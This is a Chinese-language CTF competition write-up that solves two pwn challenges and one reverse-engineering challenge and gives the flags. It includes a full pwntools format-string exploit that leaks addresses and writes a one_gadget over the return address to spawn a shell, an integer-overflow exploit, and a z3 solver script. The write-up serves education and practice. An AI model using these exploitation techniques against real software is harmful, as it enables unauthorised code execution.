文章目录
- 5:I believe you can solve it.
- 6:你会360内的加减乘除吗?
- 7:Here are some big nums.
5:I believe you can solve it. 题目类型:Pwn
解题思路:
看标题知道与格式化字符串漏洞有关系,checksec一下32位程序,保护全开
3CTF初赛题目详解(中)
难点在于:
1.限制了输入次数为3次,每次长度为16字节
2.格式化字符串在.bss段上
攻击思路主要是先突破输入次数限制,再寻找合适的跳板覆盖返回地址为one_gadget
3CTF初赛题目详解(中)
Exp:
from pwn import * context.log_level = 'debug' p = process('./fmt') gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066] def HL(value): lis = [] high = value >> 16 low = value & 0xffff lis.append(low) lis.append(high) return lis def input(payload): p.recvuntil("2. Exit") p.send('1') p.recvuntil("something") p.sendline(payload) def exit(): p.recvuntil("2. Exit") p.send('2') ## leak address input("%5$p%12$p%15$p") p.recvline() leaked = p.recvline() bin_base = int(leaked[2:10], 16) - 0x1fb8 stack_addr = int(leaked[12:20], 16) var_addr = stack_addr - 0x2C + 0x3 target_addr = stack_addr - 0x4 libc_base = int(leaked[22:30],16) - 247 - 0x18540 shell_addr = libc_base + gadgets[1] bp = bin_base + 0x81c #gdb.attach(p,'b *' + str(hex(bp))) log.info("binary_base address is %x" % bin_base) log.info("stack address is %x" % stack_addr) log.info("libc_base address is %x" % libc_base) log.info("var address is %x" % var_addr) log.info("target address is %x" % target_addr) ## Modify var i values lis = HL(var_addr) input("%" + str(lis[0]) + "c%21$hn") input("%255d%57$hhn") ## Write one_gadget at ret_addr through the target_addr lis = HL(target_addr) input("%" + str(lis[0]) + "c%21$hn") lis = HL(target_addr+2) input("%" + str(lis[0]) + "d%22$hn") lis = HL(shell_addr) input("%" + str(lis[0]) + "c%57$hn") input("%" + str(lis[1]) + "c%59$hn") exit() p.interactive()
答案:flag{79714683-d625efc2-c0c65bc2-5b5346f6}
6:你会360内的加减乘除吗? 题目类型:Pwn
解题思路:
绕过两个判断就能拿到flag
(1)判断1:x1和y1都是有符号整数,令y1为负就可以绕过判断
考察点:整数范围
(2)判断2:int类型大小为4个字节,通过eax传递,只要两个数相乘等于0×100000168,超过其表示范围就可以绕过
Exp:
from pwn import * #context.log_level = 'debug' p = process("./pwn1") #p = remote("localhost",12345) if __name__=='__main__': p.recvuntil("x:") p.sendline(str(359)) p.recvuntil("y:") p.sendline(str(2**32-1)) p.recvuntil("Please input x and y:") #gdb.attach(p) p.sendline(str(0x0000000100000008)+" "+str(0x0000000100000168/8)) p.interactive()
7:Here are some big nums. 题目类型:Reverse
解题思路:
首先把程序丢进IDA中,根据字符串信息找到程序主流程
可以明显看出将输入的字符串分为两部分,每部分16字节并进入相应的check中
3CTF初赛题目详解(中)
check1(考察SMC):
无法F5,代码也不具有逻辑性,查看函数列表发现有TLS回调,里面实现SMC解密,这里可以选择写个idc脚本,也可以直接用OD动态调试。解密后伪C代码如下:
3CTF初赛题目详解(中)
主流程就是将字符串先按字节与“greatctf”异或,之后开始大数运算,先是自身平方,再是乘以“12345679”,最后与“667339003789000121539302795007135856775”相比较,流程比较简单,求逆即可得到前半段flag。
check2(考察z3):
3CTF初赛题目详解(中)
给定了随机数种子,动态调试得到相应数值,利用Z3求解即可
Exp:
from z3 import * import struct s = [Int('serial%d' % i) for i in range(4)] z3 = Solver() v1 = 2 v2 = 11 v3 = 192 v4 = 31 z3.add(3*s[1]-1000*v1+s[0] == 6985912807) z3.add(v3*s[2]-s[1]*v2 == 155893705628) z3.add(s[2]*v4+(890+s[3])*v1 == 30549285333) z3.add(v4*136*s[3]-v3*s[0] == 4612419708992) print(z3.check()) answer=z3.model() res = "" for d in s: num = answer.eval(d).as_long() res += struct.pack('<L', num) print(repr(res))
答案:PAPSETGQ_FRRBQLSsimpleRe__360CTF
如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系university@360.cn。
|